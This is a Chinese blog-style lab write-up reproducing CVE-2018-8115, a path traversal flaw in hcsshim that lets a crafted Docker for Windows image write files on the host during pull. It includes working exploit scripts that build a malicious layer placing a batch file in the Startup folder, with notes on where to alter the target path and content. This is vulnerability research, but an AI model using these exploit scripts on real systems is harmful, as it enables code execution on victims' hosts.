目录

CVE-2018-8115 漏洞复现


前言

微软与 Docker 合作,让 Docker 能够跑在 Windows 上以及支持 Windows 容器,做了很多工作,其中一个是开发了 hcsshim 套件,该套件可使用Windows Host Compute Service(HCS)启动和管理 Windows 容器。它还包含用于管理 Windows 容器的其他帮助程序和功能,例如用于主机网络服务(HNS)的 Golang 界面。

在 hcsshim v0.6.10 之前的版本中,该套件由于将未经处理的输入与将 Golangfilepath.Join 结合使用,导致攻击者可利用 ../ 这样的控制序列字符串来达到控制目录的效果,从而实现在宿主机系统中创建、删除和替换文件,甚至可以写入恶意脚本到自启项目录,来达到命令执行的效果。而使用了此套件的 Docker for Windows 受到此漏洞影响,如果攻击者恶意构造了镜像,受害者 pull 镜像即可造成攻击。


环境搭建

由于该漏洞出现在 Docker for Windows 上,并且需要自己构建镜像,所以需要使用到以下环境:


Docker for Windows 安装

首先,在虚拟机上装好 Windows 10 2004,开机前调整如下配置:

  • 内存设置 4G 以上

  • 开启虚拟化引擎

/images/CVE-2018-8115漏洞复现/04b12c00-fcfd-11ea-b5b0-80fa5b238e56.png

设置好之后,即可开机,并安装 Docker for Windows Installer.exe,安装比较简单,按照如下步骤即可:

/images/CVE-2018-8115漏洞复现/04b263b0-fcfd-11ea-99cc-80fa5b238e56.png

安装完毕之后会注销一次,再次登录之后,Docker 会自动启动,并且会要求开启 Hyper-V:

/images/CVE-2018-8115漏洞复现/04b29252-fcfd-11ea-9457-80fa5b238e56.png

单击 OK 之后,会自动重启,并安装 Hyper-V,重启之后,会看下如下提示:

/images/CVE-2018-8115漏洞复现/04b2c05a-fcfd-11ea-a05b-80fa5b238e56.png

单击 Start,随后等待 Docker 启动,等待良久之后会出现下面这个错误提示:

/images/CVE-2018-8115漏洞复现/04b2e76c-fcfd-11ea-b739-80fa5b238e56.png

出现这个提示是因为是在虚拟机上安装的 Docker for Windows,如果是真实机器就不会出现这个情况。解决方法是右键右下角的 Docker 图标,单击 Switch to Windows containers,如下:

/images/CVE-2018-8115漏洞复现/04b33590-fcfd-11ea-af58-80fa5b238e56.png

切换了之后 Docker 会正常启动成功,在命令行输入 docker info 可看到 Docker 相关信息:

/images/CVE-2018-8115漏洞复现/04b363b4-fcfd-11ea-b45a-80fa5b238e56.png

Registry 搭建

首先需将 Ubuntu 20.04 系统安装好,装好之后在命令行输入 curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun 安装 Docker,注意需要 root 权限:

/images/CVE-2018-8115漏洞复现/04b38bec-fcfd-11ea-bf66-80fa5b238e56.png

设置 Docker 镜像加速,这样下载镜像时快一点,输入命令 echo '{"registry-mirrors":["https://hub-mirror.c.163.com/"]}' > /etc/docker/daemon.json (如文件已存在请根据实际情况添加):

/images/CVE-2018-8115漏洞复现/04b3ad90-fcfd-11ea-b021-80fa5b238e56.png

输入以下语句重启 Docker:

1
2
systemctl daemon-reload
systemctl restart docker

使用 docker info 可查看是否设置成功:

/images/CVE-2018-8115漏洞复现/04b3d49a-fcfd-11ea-92e9-80fa5b238e56.png

Docker 安装好之后,接下来搭建 Registry,输入如下命令:

1
docker run -d -p 5000:5000 --name registry docker.io/library/registry:2

/images/CVE-2018-8115漏洞复现/04b3d49b-fcfd-11ea-ad1f-80fa5b238e56.png

容器运行起来之后使用 curl http://127.0.0.1:5000/v2/_catalog 可测试是否搭建成功:

/images/CVE-2018-8115漏洞复现/04b4229e-fcfd-11ea-9658-80fa5b238e56.png


复现漏洞

该漏洞主要针对 Docker 在 pull 镜像时,未处理好镜像中的文件拷贝,导致可以穿越路径来写入恶意文件到指定路径。所以第一件事是先构建恶意镜像,需在刚才搭建的 Registry 上构建。

由于作者提供的 PoC 存在一定的问题,直接使用会失败,这里将其进行了修改:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#!/bin/bash
#
# Copyright (C) 2018, Michael Hanselmann <https://hansmi.ch/>
#

set -e -u -o pipefail
set -x

registry=http://localhost:5000

tmpdir=$(mktemp -d)
trap 'rm -rf "$tmpdir"' EXIT

tmplayer="${tmpdir}/layer.tar"

digest() {
  echo -n sha256: && \
  sha256sum | cut -c-64
}

upload() {
  local datafile="$1"
  local digest="$(digest < "$datafile")"

  # Prepare upload
  local upload_location=$(
    curl -v --dump-header - -XPOST "${registry}/v2/evil/image/blobs/uploads/" |
    perl -ne 'chomp && /^Location:\s*(.+?)\s*$/ && print $1'
    )

  echo "upload_location=${upload_location}" >&2

  curl -v -XPUT --header 'Expect:' --data-binary "@${datafile}" \
    --header 'Content-Type: application/octet-stream' \
    "${upload_location}&digest=${digest}"

  echo -n "$digest"
}

write_base_layer() {
  # Tar containing hive files and dummy Dockerfile
  base64 -d <<'EOF' | gunzip -c
H4sIANXIjFoAA+3d3W7bdBjHcbdaQYoYTGy89MyHcNL43elBQU6bqhUr6QtjVEJDJnOyqC9Bjrt2
HO0SuAkkBBfADXDCMTfAEadcQrFju9ip2yWd46zx9yM1cfz4n3hOn7/n6Kdm2z7bcOynjttfkqrr
3UOnL+ROCl11LymaKsiqf6uokiTrgiQrmqkL4ln+u3LZSd+zXX9XXvd5hv9xt4RWEx9u1q3d1Y3N
rxtLLdexvW7v2OseOSuyLi8rkqLK5pKumrWa4b87FUUXt/Yeb3651ny8t9T2f19sz3NXZKOiSqJ9
9TC/2rq2enR1ddqHaKZNqOVTJEm7tv+D5XT/S4qkCqI+4f0aKHn/D97/6nbyLLDWax04btDbOb3G
q+Z/XVUS77/sv/+arsnM/0VQR5j/1StmfVWpKLKaqLj2af/pirVjNTr1Hct3YMXWBrd1qxM+rO8N
7jqDxzuNaKNH0dq6v3Yn2rBjVU8bbctqrEYbrW8Gt6tW+Nh/nahej+uN6DXWrdWqtbuVfP6H0cK+
9cWBv5OX9udZ8LiiXDqVqdknMMOUzWU5OCteOoGpt+S0FfZ/7i2f4s/n18//ujHU/4qi+/1fSBOV
vP/Xd5tb4lG35fb6vbZXPbaPe33Hfe64dyt3K6vN7X3x/98NsTrtvUXeUmf+je7zN+T6T5c5/xeC
679ym1DLp9zk+k82uf4rwuD9H7r+c9r2yaH3yP9/wHdrzqFnv+5rjD//G5LG53+FGHH+12TTqBlX
zv/+lWDm/H8xLHP+T1Yvz/8X1WkfopkW9n/uLZ9y/fWfkjH/q3rQ/1z/TZ7rdNpz/v1cYl2w/FZi
WQwW7qW3mZT5V9Sb7d1OEftRBov39bmff/vwyb+//sUhBQAAAIAZ9+z77vFg4V52/Zfz8/PjA1H4
84+3L64T/VXncf08Ei+fDdWT7vg/u83mV8HyN/42/QNBCLYPfoIn/mlwf+flD/79y2jMAyH4TODb
wVhh/oHwufCeMBderS68P1j3cbgu/OBgQfRvxPlw20V/ZLRteJtet/BOUBgaN/z473evPXwAAAAA
ANwKGfmvPfso3xDI+PkvTdUU8l9FGDX/pZh6TRk//xUPy85/JaoZ+a+4Ou1DNNPC/s+95VPGz38p
UtD/5L8mj/xXeQX5r/nfPyL/BQAAAAAlQP4rPY78FwAAAABgFmXlv5zWidv1XuSWCBk//6VrKn//
sRCj5r9UU5PM8fNf8bDs/FeimpH/iqvTPkQzLcp/5d3yKTf4+1+yyt9/LgT5r/IK8l//7C+S/wIA
AACAEiD/lR5H/gsAAAAAMIuy8l+9tndqu85U81+yRv6rCKN+/69RW9aWx85/XQzL/v7fRDXj+3/j
6rQP0UyL8l95t3zKTfJfQf+T/5o88l/lFeS/Pv3sPvkvAAAAACgB8l/pceS/AAAAAACzKCv/9aLv
OXl+H9wN8l+yZJD/KsKo+S+zVjPU8fNf8bDs/FeimpH/iqvTPkQzLcp/5d3yKTf4/kcj6H/yX5NH
/qu8gvzXJz9+QP4LAAAAAEqA/Fd6HPkvAAAAAAAAAAAAAAAAAAAAAG+q/wA9MZkjAPAAAA==
EOF
}

write_layer() {
  write_base_layer > "${tmpdir}/demo.tar"

  python3 -c '
import sys
import time
import tarfile
import tempfile
import struct

startupfile = \
  "ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/evil.bat"

with tempfile.NamedTemporaryFile() as script, \
     tarfile.open(sys.argv[1], "w", format=tarfile.PAX_FORMAT) as tar:
  # Generate new digest every time
  script.write("echo Hello World {}\r\npause\r\n".format(time.time()).encode("ascii"))
  script.flush()

  tar.add(script.name, arcname="Files/script.bat")

  # Hardlink for startup script
  info = tarfile.TarInfo("Files\\../../../../../../../../" + startupfile)
  info.type = tarfile.LNKTYPE
  info.linkname = "Files\\script.bat"
  tar.addfile(info)
' "${tmpdir}/evil.tar"

  cat < "${tmpdir}/demo.tar" > "$tmplayer"
  tar --concatenate --absolute-names -f "$tmplayer" "${tmpdir}/evil.tar"

  tar -Ptvf "$tmplayer"
}

write_layer

layer_digest=$(upload "$tmplayer")
layer_size=$(stat --format='%s' "$tmplayer")

cat >"${tmpdir}/config.json" <<EOF
{
  "architecture": "amd64",
  "name": "image",
  "tag": "10",
  "config": {
    "Hostname": "",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": null,
    "Cmd": [
      "noop"
    ],
    "Image": "sha256:8a62949f00589b4b9e99586bd40555ad36c1719a4d1c60d7094fbfb5997c4d12",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": null
  },
  "container_config": {
    "Hostname": "",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": null,
    "Cmd": [
      "cmd",
      "/S",
      "/C",
      ""
    ],
    "Image": "sha256:8a62949f00589b4b9e99586bd40555ad36c1719a4d1c60d7094fbfb5997c4d12",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": null
  },
  "created": "2018-02-21T08:54:32.3339289Z",
  "docker_version": "17.12.0-ce",
  "history": [
    {
      "created": "2016-12-13T10:47:17Z",
      "created_by": "Apply image 10.0.14393.0"
    },
    {
      "created": "2018-02-13T19:43:23Z",
      "created_by": "Install update 10.0.14393.2068"
    },
    {
      "created": "2018-02-21T08:54:32.3339289Z",
      "created_by": ""
    }
  ],
  "os": "windows",
  "os.version": "10.0.14393.2068",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "${layer_digest}"
    ]
  }
}
EOF

config_digest=$(upload "${tmpdir}/config.json")
config_size=$(stat --format='%s' "${tmpdir}/config.json")

cat >"${tmpdir}/manifest.json" <<EOF
{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {
      "mediaType": "application/vnd.docker.container.image.v1+json",
      "size": ${config_size},
      "digest": "${config_digest}"
   },
   "layers": [
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": ${layer_size},
         "digest": "${layer_digest}"
      }
   ]
}
EOF

curl -v -XPUT --data "@${tmpdir}/manifest.json" \
  --header 'Content-Type: application/vnd.docker.distribution.manifest.v2+json' \
  "${registry}/v2/evil/image/manifests/latest"

其中,真正的 PoC 是上面的 Python 代码,也就是下面这个,进行攻击时,根据实际情况修改代码即可(PS:注意把中文注释删了):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys
import time
import tarfile
import tempfile
import struct

# 修改点1:这里为写入的恶意文件的路径以及文件名
startupfile = \
  "ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/evil.bat"

with tempfile.NamedTemporaryFile() as script, \
     tarfile.open(sys.argv[1], "w", format=tarfile.PAX_FORMAT) as tar:
  # 修改点2:这里为写入的恶意文件的内容
  script.write("echo Hello World {}\r\npause\r\n".format(time.time()).encode("ascii"))
  script.flush()

  tar.add(script.name, arcname="Files/script.bat")

  # Hardlink for startup script
  info = tarfile.TarInfo("Files\\../../../../../../../../" + startupfile)
  info.type = tarfile.LNKTYPE
  info.linkname = "Files\\script.bat"
  tar.addfile(info)

将上方代码保存为脚本文件并赋予执行权限,执行后末尾出现 HTTP/1.1 201 Created 代表成功:

/images/CVE-2018-8115漏洞复现/04b44978-fcfd-11ea-befc-80fa5b238e56.png

使用 curl http://127.0.0.1:5000/v2/evil/image/tags/list 也可检测是否上传成功,当有 nametags 时代表成功:

/images/CVE-2018-8115漏洞复现/04b4706e-fcfd-11ea-9508-80fa5b238e56.png

镜像构建好之后,可以开始进行模拟受害者了。首先重新以管理员权限启动 Docker for Windows,启动后之后再右键右下角 Docker 图标,选择 Settings

/images/CVE-2018-8115漏洞复现/04b49768-fcfd-11ea-b2fd-80fa5b238e56.png

Settings 中,单击 Daemon 选项,将 Basec 开关打开:

/images/CVE-2018-8115漏洞复现/04b4b2f6-fcfd-11ea-8382-80fa5b238e56.png

随后将下面的配置信息粘贴进文本框中并单击 Apply,注意,下面标记的两个框中的 IP地址 是刚才搭建的 Registry 主机的 IP地址,需根据实际情况替换:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
  "registry-mirrors": [
    "https://hub-mirror.c.163.com/"
  ],
  "insecure-registries": [
    "192.168.33.128:5000"
  ],
  "debug": true,
  "experimental": true,
  "allow-nondistributable-artifacts": [
    "192.168.33.128:5000"
  ]
}

/images/CVE-2018-8115漏洞复现/04b4d28c-fcfd-11ea-9b5b-80fa5b238e56.png

然后以管理员权限打开命令行或者 PowerShell 窗口,输入 docker pull 192.168.33.128:5000/evil/image:latest,即可看见自启目录中被写入了 evil.bat 文件。注意这个 IP地址 也得根据实际情况替换:

/images/CVE-2018-8115漏洞复现/04b4f224-fcfd-11ea-8139-80fa5b238e56.png

这时候注销重新登录,即可看到写入的 evil.bat 被自动执行:

/images/CVE-2018-8115漏洞复现/04b51176-fcfd-11ea-a952-80fa5b238e56.png


踩坑日记

在最开始,直接使用作者的 PoC 时,会直接报错,最后一步上传镜像到 Registry 时会直接提示 500,如下:

/images/CVE-2018-8115漏洞复现/04b531da-fcfd-11ea-9e4b-80fa5b238e56.png

因为对 Docker 不是很熟悉,所以这个问题不知道怎么去解决,通过不断的搜寻资料,深入学习了 Docker 的一点知识,才将该问题解决,这里记录下解决的过程。

Docker学习

众所周知,Docker 是通过镜像来创建容器的。而一个镜像的构成,是由层(layer)的形式构成的。在每一层中,存储的都是当前层与上一层之间的文件变化,在容器构建的时候,Docker 会将每一层依次的组合在一起形成文件系统,最后在顶层加上容器层以便修改。在镜像中,每多一层镜像的体积就会大一些,这也是为什么 Dockerfile 推荐尽可能的减少行数,因为每多添加一行,镜像中的层就多一层,最后导致镜像体积变得很大。

上面大概介绍了镜像的构造,接下来详细介绍下镜像的文件存储结构,这里使用 Windows 容器 NanoServer 来做演示,首先在命令行中输入命令 docker pull mcr.microsoft.com/windows/nanoserver:10.0.14393.2068 下载 NanoServer 镜像,如下:

/images/CVE-2018-8115漏洞复现/04b54df4-fcfd-11ea-95e0-80fa5b238e56.png

接下来,将镜像导出为 tar 格式的文件,在 PowerShell 中输入如下命令:

1
2
3
4
cd ~
mkdir test
cd test
docker save -o nanoserver.tar mcr.microsoft.com/windows/nanoserver:10.0.14393.2068

/images/CVE-2018-8115漏洞复现/04b570f6-fcfd-11ea-9e22-80fa5b238e56.png

导出之后将其解压,可看到其中有如下文件和目录:

/images/CVE-2018-8115漏洞复现/04b59812-fcfd-11ea-845e-80fa5b238e56.png

一个完整的镜像的 tar 包格式一般如下:

  • manifest.json:整个镜像的清单信息,包含着镜像每一层数据所处的文件位置,并且该文件的 SHA256 还与镜像的摘要有关
  • 镜像id.json:镜像的配置信息,包含镜像的的各个信息,最重要的是包含镜像修改的历史记录以及每一层数据的摘要
  • repositories:一般保存的是镜像的 tagid 的对应关系
  • 每一层的目录:
    • json:该层的信息
    • layer.tar:该层未压缩的 tar 包,存储与上一层的文件变化
    • VERSION:该层的版本,一般为 1.0

首先来看 manifest.json,该文件是整个镜像的清单文件,保存的镜像中每一层的数据的所在位置,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[
  {
    "Config": "8a62949f00589b4b9e99586bd40555ad36c1719a4d1c60d7094fbfb5997c4d12.json",
    "RepoTags": [
      "mcr.microsoft.com/windows/nanoserver:10.0.14393.2068"
    ],
    "Layers": [
      "ad4ea25c1eec6037158aa418802620adec29cc64c56569c38ca5211ab74f93da\\layer.tar",
      "3128d665ad88b5e4d2111974265579b4b0fc70bfe10da79c27fc984f31098431\\layer.tar"
    ],
    "LayerSources": {
      "sha256:06def82ae218583423386cf68ab2dbb0715e69132d9b74e2fbdd9173142ef6f7": {
        "mediaType": "application/vnd.docker.image.rootfs.foreign.diff.tar.gzip",
        "size": 152802641,
        "digest": "sha256:cb1aafb7147372cc64faa070b94a893b8cd2e3de3a0e8001dc225c627d991c58",
        "urls": [
          "https://go.microsoft.com/fwlink/?linkid=867858"
        ]
      },
      "sha256:6c357baed9f5177e8c8fd1fa35b39266f329535ec8801385134790eb08d8787d": {
        "mediaType": "application/vnd.docker.image.rootfs.foreign.diff.tar.gzip",
        "size": 252691002,
        "digest": "sha256:bce2fbc256ea437a87dadac2f69aabd25bed4f56255549090056c1131fad0277",
        "urls": [
          "https://go.microsoft.com/fwlink/?linkid=837858"
        ]
      }
    }
  }
]

在该文件中,以下字段是相对重要的:

  • Config:指定镜像的配置文件,可以看到镜像解压目录下有同名的 8a62949f00589b4b9e99586bd40555ad36c1719a4d1c60d7094fbfb5997c4d12.json 文件
  • RepoTags:镜像的 nametag,在这里 namemcr.microsoft.com/windows/nanoservertag10.0.14393.2068
  • Layers:一个保存每层的 layer.tar 文件路径的列表,顺序由底层到顶层,可以看到这里的两个值分别对应解压目录中的文件

/images/CVE-2018-8115漏洞复现/04b5c676-fcfd-11ea-b109-80fa5b238e56.png

再来看 8a62949f00589b4b9e99586bd40555ad36c1719a4d1c60d7094fbfb5997c4d12.json,该文件为镜像的配置信息,包含了镜像的大部分信息,其中最重要的字段是 historyrootfs,如下(为节省篇幅这里省略了部分信息):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
{
  // ...
  "history": [
    {
      "created": "2016-12-13T10:47:17Z",
      "created_by": "Apply image 10.0.14393.0"
    },
    {
      "created": "2018-02-13T19:43:23Z",
      "created_by": "Install update 10.0.14393.2068"
    }
  ],
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:6c357baed9f5177e8c8fd1fa35b39266f329535ec8801385134790eb08d8787d",
      "sha256:06def82ae218583423386cf68ab2dbb0715e69132d9b74e2fbdd9173142ef6f7"
    ]
  }
}

可以看到 history 记录的是镜像修改的信息,而 rootfsdiff_ids 记录的是每一层的 Digest。在这个演示中 history 并不重要,这里着重讲一下 rootfs

rootfs 存储的是每一层的 Digest,也就是每一层的 layer.tarSHA256,格式为 sha256:SHA256(layer.tar),顺序由底层到顶层。这里我们实践一下,在 PowerShell 中使用 Get-FileHash -Algorithm SHA256 文件名 计算文件的 SHA256,计算结果如下:

/images/CVE-2018-8115漏洞复现/04b5ed8c-fcfd-11ea-bc6a-80fa5b238e56.png

再来看该文件本身,该文件的 SHA256,不仅为它自身的文件名,还为该镜像的 IMAGE ID,如下:

/images/CVE-2018-8115漏洞复现/04b61552-fcfd-11ea-bcad-80fa5b238e56.png

最后再来看每一层目录中的内容,每层的目录名的计算方式没有找到,这个不重要,只要能在 manifest.json 文件中写对就行了。其次是目录中的内容,VERSION 是版本信息,这个不用管,layer.tar 是重要的层次文件变化信息,该文件的 SHA256 需要写入到镜像配置文件中,tar 包里的文件内容全是上一层到这一层之间的文件变化信息,也可以先不用管。最主要的是 .json 这个文件,该文件中记录了该层的一些信息,其中最重要的字段是 idparentid 其实就是当前目录的名称,parent 为父层目录的名称,如果没有父层则没有这个字段,这里的演示结果如下:

/images/CVE-2018-8115漏洞复现/04b63b7a-fcfd-11ea-a564-80fa5b238e56.png

总结下镜像的存储要点:

  • 镜像存储的格式一般为 manifest.json镜像id.json、各层的目录,而各层的目录下存在 layer.tarjsonVERSION
  • 镜像id.json 保存着镜像的大部分信息,其中 rootfs 记载着每一层的 Digest,顺序由底层到顶层。该文件本身的 SHA256 信息为它自己的文件名、镜像 id
  • manifest.json 指定镜像的配置文件名称,还包含着每一层文件的具体位置
  • 每一层目录下的 layer.tar 为主要的层次文件变化信息,json 文件记载着该层的信息,其中包括指向父层的目录 parent 字段

问题分析

大概了解了镜像的存储格式之后,现在来分析下问题。在漏洞作者给出的脚本中,做的事大概有如下几件:

  • 生成 demo.tarevil.tardemo.tar 为 Dockerfile 生成的layer信息,evil.tar 为恶意文件,然后将两者合并为 layer.tar
  • 上传 layer.tar 到私有仓库,这个文件相当于镜像中的 layer 了
  • 上传 config.json 到私有仓库,这个文件相当于镜像中的 镜像id.json
  • 上传 manifest.json 到私有仓库,这个文件相当于镜像中的 manifest.json

前面三步都是很正常的运行完了,最后上传 manifest.json 时出错了,报错信息如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
  "errors": [
    {
      "code": "UNKNOWN",
      "message": "unknown error"
    },
    {
      "code": "UNKNOWN",
      "message": "unknown error",
      "detail": {}
    },
    {
      "code": "MANIFEST_BLOB_UNKNOWN",
      "message": "blob unknown to registry",
      "detail": "sha256:bce2fbc256ea437a87dadac2f69aabd25bed4f56255549090056c1131fad0277"
    },
    {
      "code": "UNKNOWN",
      "message": "unknown error"
    },
    {
      "code": "UNKNOWN",
      "message": "unknown error",
      "detail": {}
    },
    {
      "code": "MANIFEST_BLOB_UNKNOWN",
      "message": "blob unknown to registry",
      "detail": "sha256:cb1aafb7147372cc64faa070b94a893b8cd2e3de3a0e8001dc225c627d991c58"
    }
  ]
}

其中有 MANIFEST_BLOB_UNKNOWN 错误,根据官方资料,得知该错误是找不到 blob,也就是找不到对应的 layer 信息,导致私有仓库根据 config.jsonmanifest.json 构建镜像时失败了。

大概知道原因之后,但无法继续了。首先无法确定到底是不是上面分析的错误原因,因为从上面的报错信息来看,有很多个错误信息,找不到 blob 只是其中的一个。其次如果真的是找不到 blob 的缘故,那应该把 manifest.json 信息中的两个 blob 传上去就行了,但是这两个 blob 太大了,需要用官方的分块传输 API,使用起来太费劲了。

因为上述原因,在这里卡了很久,在这期间学习了上面的 Docker 镜像存储的知识。学得差不多的时候,回过头一想,是不是可以不用这种方式实现漏洞攻击呢?于是详细猜测了下漏洞原理,作者复现漏洞使用的是 docker pullpull 之后即可看到恶意文件被写入了系统,这里思考一下为什么能达到这个效果,推测在使用 docker pull 命令时会将镜像存储在本地(经过后面的学习验证的确是这样),然后存储的时候未处理好导致了漏洞的产生。猜到这里之后,再想到 docker load 也可以导入镜像,那是不是用 docker load 也能实现这个漏洞效果呢?说干就干,docker load 需要一个 tar 的镜像,那就可以构造一个恶意镜像,然后 docker load 这个镜像,来验证猜想。

这个镜像该如何构造呢,其实可以参照漏洞作者的做法。从漏洞作者的脚本上来看,其实他也是使用的是 NanoServer 镜像,然后再原有的两个 layer 上多添加了一层,就是他自己构造的恶意文件那一层,所以我这里也是模拟的他的做法,再原有基础上再添加一层,把恶意文件添加成新的一层,然后更改相应的配置信息即可。

首先将漏洞作者脚本里生成的恶意文件 tar 包给导出来,脚本如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/bin/bash

write_base_layer() {
  # Tar containing hive files and dummy Dockerfile
  base64 -d <<'EOF' | gunzip -c
H4sIANXIjFoAA+3d3W7bdBjHcbdaQYoYTGy89MyHcNL43elBQU6bqhUr6QtjVEJDJnOyqC9Bjrt2
HO0SuAkkBBfADXDCMTfAEadcQrFju9ip2yWd46zx9yM1cfz4n3hOn7/n6Kdm2z7bcOynjttfkqrr
3UOnL+ROCl11LymaKsiqf6uokiTrgiQrmqkL4ln+u3LZSd+zXX9XXvd5hv9xt4RWEx9u1q3d1Y3N
rxtLLdexvW7v2OseOSuyLi8rkqLK5pKumrWa4b87FUUXt/Yeb3651ny8t9T2f19sz3NXZKOiSqJ9
9TC/2rq2enR1ddqHaKZNqOVTJEm7tv+D5XT/S4qkCqI+4f0aKHn/D97/6nbyLLDWax04btDbOb3G
q+Z/XVUS77/sv/+arsnM/0VQR5j/1StmfVWpKLKaqLj2af/pirVjNTr1Hct3YMXWBrd1qxM+rO8N
7jqDxzuNaKNH0dq6v3Yn2rBjVU8bbctqrEYbrW8Gt6tW+Nh/nahej+uN6DXWrdWqtbuVfP6H0cK+
9cWBv5OX9udZ8LiiXDqVqdknMMOUzWU5OCteOoGpt+S0FfZ/7i2f4s/n18//ujHU/4qi+/1fSBOV
vP/Xd5tb4lG35fb6vbZXPbaPe33Hfe64dyt3K6vN7X3x/98NsTrtvUXeUmf+je7zN+T6T5c5/xeC
679ym1DLp9zk+k82uf4rwuD9H7r+c9r2yaH3yP9/wHdrzqFnv+5rjD//G5LG53+FGHH+12TTqBlX
zv/+lWDm/H8xLHP+T1Yvz/8X1WkfopkW9n/uLZ9y/fWfkjH/q3rQ/1z/TZ7rdNpz/v1cYl2w/FZi
WQwW7qW3mZT5V9Sb7d1OEftRBov39bmff/vwyb+//sUhBQAAAIAZ9+z77vFg4V52/Zfz8/PjA1H4
84+3L64T/VXncf08Ei+fDdWT7vg/u83mV8HyN/42/QNBCLYPfoIn/mlwf+flD/79y2jMAyH4TODb
wVhh/oHwufCeMBderS68P1j3cbgu/OBgQfRvxPlw20V/ZLRteJtet/BOUBgaN/z473evPXwAAAAA
ANwKGfmvPfso3xDI+PkvTdUU8l9FGDX/pZh6TRk//xUPy85/JaoZ+a+4Ou1DNNPC/s+95VPGz38p
UtD/5L8mj/xXeQX5r/nfPyL/BQAAAAAlQP4rPY78FwAAAABgFmXlv5zWidv1XuSWCBk//6VrKn//
sRCj5r9UU5PM8fNf8bDs/FeimpH/iqvTPkQzLcp/5d3yKTf4+1+yyt9/LgT5r/IK8l//7C+S/wIA
AACAEiD/lR5H/gsAAAAAMIuy8l+9tndqu85U81+yRv6rCKN+/69RW9aWx85/XQzL/v7fRDXj+3/j
6rQP0UyL8l95t3zKTfJfQf+T/5o88l/lFeS/Pv3sPvkvAAAAACgB8l/pceS/AAAAAACzKCv/9aLv
OXl+H9wN8l+yZJD/KsKo+S+zVjPU8fNf8bDs/FeimpH/iqvTPkQzLcp/5d3yKTf4/kcj6H/yX5NH
/qu8gvzXJz9+QP4LAAAAAEqA/Fd6HPkvAAAAAAAAAAAAAAAAAAAAAG+q/wA9MZkjAPAAAA==
EOF
}

write_layer() {
  write_base_layer > ./demo.tar

  python3 -c '
import sys
import time
import tarfile
import tempfile
import struct

startupfile = \
  "ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/evil.bat"

with tempfile.NamedTemporaryFile() as script, \
     tarfile.open(sys.argv[1], "w", format=tarfile.PAX_FORMAT) as tar:
  # Generate new digest every time
  script.write("echo Hello World {}\r\npause\r\n".format(time.time()).encode("ascii"))
  script.flush()

  tar.add(script.name, arcname="Files/script.bat")

  # Hardlink for startup script
  info = tarfile.TarInfo("Files\\../../../../../../../../" + startupfile)
  info.type = tarfile.LNKTYPE
  info.linkname = "Files\\script.bat"
  tar.addfile(info)
' ./evil.tar

  cat < ./demo.tar > ./layer.tar
  tar --concatenate --absolute-names -f ./layer.tar ./evil.tar
}

write_layer

执行脚本后可得到 layer.tar,该文件为需要添加的 layer。

接着进行恶意文件层的构造,在前面解压的 nanoserver 镜像目录中进行如下操作:

  • 新建目录,使用 123456SHA256 作为目录名,也就是 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92
  • 将上方导出的 layer.tar 复制到新建的目录中
  • 3128d665ad88b5e4d2111974265579b4b0fc70bfe10da79c27fc984f31098431 目录中的 jsonVERSION 复制到新建的目录中
  • 修改新目录中的 json 文件的 id 字段为 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92,修改 parent 字段为 3128d665ad88b5e4d2111974265579b4b0fc70bfe10da79c27fc984f31098431

经过上面这几步,存放恶意文件的层就构造好了,目录结构如下:

/images/CVE-2018-8115漏洞复现/04b6632e-fcfd-11ea-aa4e-80fa5b238e56.png

最后来构建恶意镜像:

  • 获得 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92\layer.tarSHA256,如下:

/images/CVE-2018-8115漏洞复现/04b689ae-fcfd-11ea-ae6d-80fa5b238e56.png

